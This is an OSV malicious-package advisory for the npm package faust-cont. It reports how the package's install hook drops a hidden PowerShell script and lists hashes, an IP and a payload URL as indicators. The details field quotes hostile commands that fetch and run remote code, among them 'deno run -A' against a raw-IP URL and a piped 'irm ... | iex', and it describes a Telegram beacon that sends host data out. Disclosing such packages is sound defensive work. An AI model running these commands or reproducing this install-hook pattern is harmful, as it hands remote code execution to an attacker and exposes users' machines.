mal-2026-11042

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "install.js",
              "sha256": "d06919a5eace0256f81324e6e08c71eb8284f4c7f4af91d24a50d2d11dd50342",
              "tlsh": "1d7141c423f5c2e647726fb2b5d2a60ae22e80297213d390f4ac41c13fa1969c7a1ddd"
            }
          ],
          "package_integrity": [
            {
              "filename": "faust-cont-1.0.0.tgz",
              "hashes": {
                "sha1": "4df9e3bd4a0bd7989c2ba65c4e0ca547f724ad91",
                "sha512_sri": "sha512-b65pG7CW7EelTQKGt3MTwjq96/DaKLKADCfnW1qIavUH8vza1jWw37BbceZhjqZylRONHKvFs7iwSlUJuanRvg=="
              }
            }
          ]
        },
        "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/faust-cont/MAL-2026-11042.json"
      },
      "package": {
        "ecosystem": "npm",
        "name": "faust-cont",
        "purl": "pkg:npm/faust-cont"
      },
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    },
    {
      "contact": [
        "https://research.codelake.dev/advisories/clr-2026-3040-faust-cont"
      ],
      "name": "codelake Research",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "iocs": {
      "hashes": [
        "sha256:f1266f45fb05fe93f1dc6bd46e68c9c6efc53b18f18848c3418b48be6c8b0f1c",
        "sha256:d06919a5eace0256f81324e6e08c71eb8284f4c7f4af91d24a50d2d11dd50342",
        "sha256:5c3669b962fae0937b5539ae5f045e9759dfece575c12851f6e9c143d2aa03ee"
      ],
      "ips": [
        "172.94.9.157"
      ],
      "urls": [
        "http://172.94.9.157/v028f8cde892b0b74c8.js"
      ]
    },
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-011044",
        "import_time": "2026-08-04T21:33:14.880902826Z",
        "modified_time": "2026-08-04T21:24:22Z",
        "sha256": "6ecd29d4c7b48237d28a9433bcfea361da155e1ed4ebdef265fd661574fe1a5d",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      }
    ]
  },
  "details": "The npm package `faust-cont` is a supply-chain dropper disguised as a benign CLI tool (`index.js` is a decoy that only logs \"cli tool install package loaded\"). The real behaviour is placed in an install script.\n\nAn `install` lifecycle hook (`install: node install.js`) executes automatically on `npm install`, before the package is ever imported. On Windows the install script writes a PowerShell script to `%TEMP%\\setup.ps1` and launches it hidden and detached (`powershell -WindowStyle Hidden -ExecutionPolicy Bypass`). That script bootstraps a runtime toolchain so execution succeeds on a clean host — it installs scoop (`irm get.scoop.sh | iex`), then winget, then Deno — and finally runs `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js`, fetching and executing a remote module from a hardcoded raw IP over plain HTTP with all Deno permissions granted (filesystem, network, environment, subprocess). Per the dropper's own comments the remote stage is a server-compiled loader that pulls a second stage which sets up autorun persistence and runs a main payload. The install script also contains a Telegram Bot API beacon that reports OS / architecture / hostname on install (the bot token is blank in the published build). Any Windows workstation or CI runner that installs the package (directly or transitively) hands all-permission remote code execution to the operator.\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6ecd29d4c7b48237d28a9433bcfea361da155e1ed4ebdef265fd661574fe1a5d)\nThe package's npm install lifecycle hook runs install.js, which writes a PowerShell script to %TEMP%\\setup.ps1 and launches it via `start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass` with windowsHide and detached options. The PowerShell script installs the Deno runtime (via winget/scoop) and then invokes `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js`, fetching unpinned JavaScript from a bare IP over plain HTTP and executing it with all Deno permissions on the installer's Windows host. Separately, install.js collects OS name, architecture, and hostname and POSTs them to a hardcoded api.telegram.org bot endpoint (bot token and chat_id constants are blank in this published artifact, but the exfil path is fully wired and fires unconditionally). Hidden-window and detached execution deliberately conceal the dropper from the installing user.\n",
  "id": "MAL-2026-11042",
  "modified": "2026-09-11T04:00:07.746944728Z",
  "published": "2026-07-21T00:00:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://research.codelake.dev/advisories/clr-2026-3040-faust-cont"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/faust-cont/v/1.0.0"
    }
  ],
  "schema_version": "1.9.0",
  "summary": "Malicious code in faust-cont (npm)"
}